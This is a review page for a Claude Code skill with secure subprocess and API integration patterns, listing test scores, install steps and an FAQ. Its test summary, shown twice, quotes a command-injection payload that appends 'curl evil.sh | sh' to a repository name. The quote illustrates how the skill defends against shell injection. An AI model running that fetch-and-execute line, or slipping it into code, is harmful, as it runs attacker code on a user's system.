API Integration Patterns
Subprocess-safe API/CLI patterns: no shell=True, whitelisted commands, retry backoff, token validation.
Test report
- Verdict
- Tested · Works
- Score
- Tested
- Jul 15, 2026
- Environment
- Claude Code 2.x (agent harness)
- Upstream re-checked
- Aug 10, 2026 · 005aacb
Real CWE-78 test: baseline code used shell=True with an f-string repo name, letting a crafted repo value append 'curl evil.sh | sh'; the skill's argv-array + shell=False version passed the same malicious string through gh as one inert argument. Concrete, not cosmetic.
Scored on four weighted criteria — install, triggering, output vs. baseline, docs. How scoring works
- Installs cleanly 4/5
- Triggers reliably 5/5
- Output vs. baseline 9/10
- Docs & honesty 3/5
What API Integration Patterns does
A reference-patterns skill that supplies safe-subprocess, GitHub CLI, retry-with-backoff, authentication, and rate-limiting code patterns when Claude writes external API or CLI integration code. Triggers on subprocess/gh-cli/API-call/retry/auth keywords and explicitly excludes internal-function or config-only edits.
How to install API Integration Patterns
git clone https://github.com/akaszubski/autonomous-dev
cd autonomous-dev
mkdir -p ~/.claude/skills
cp -r plugins/autonomous-dev/skills/api-integration-patterns ~/.claude/skills/api-integration-patterns
Skills live in ~/.claude/skills/ (global) or .claude/skills/
(per-project). Restart Claude Code after installing.
Commands — how to trigger API Integration Patterns
-
/api-integration-patternsSubprocess-safe API/CLI patterns: no shell=True, whitelisted commands, retry backoff, token validation.
It also activates on plain-language prompts like these:
-
Write a Python function that lists GitHub issues via the gh CLI -
Add retry logic with exponential backoff to my API client code -
Help me safely handle subprocess calls without shell injection risk
Frequently asked questions
- Is the API Integration Patterns skill free?
- Yes. The skill itself is free from akaszubski/autonomous-dev. SkillProof publishes the install command and an independent test verdict at no cost.
- Does API Integration Patterns work with Claude Code?
- We tested it with Claude Code 2.x (agent harness) on Jul 15, 2026. Verdict: Tested · Works. Real CWE-78 test: baseline code used shell=True with an f-string repo name, letting a crafted repo value append 'curl evil.sh | sh'; the skill's argv-array + shell=False version passed the same malicious string through gh as one inert argument. Concrete, not cosmetic.
- What is the API Integration Patterns SkillProof Score?
- 8.4/10 — installs cleanly 4/5, triggers reliably 5/5, output vs. baseline 9/10, docs & honesty 3/5.
- How do I install API Integration Patterns?
- Copy the install command from this page, run it in your terminal, and restart Claude Code. Skills live in ~/.claude/skills/ (global) or .claude/skills/ inside a project.
- Can I use API Integration Patterns with Cursor, Copilot, Gemini CLI, Codex or other AI tools?
- The SKILL.md format is native to Claude (Claude Code, Desktop, claude.ai). The instructions inside adapt to other assistants: Cursor rules, GitHub Copilot instructions, Windsurf rules, Custom GPTs, AGENTS.md for OpenAI Codex, and GEMINI.md for Google Gemini CLI — our conversion guides cover each, and the free converter on the tools page does the wrapping for you.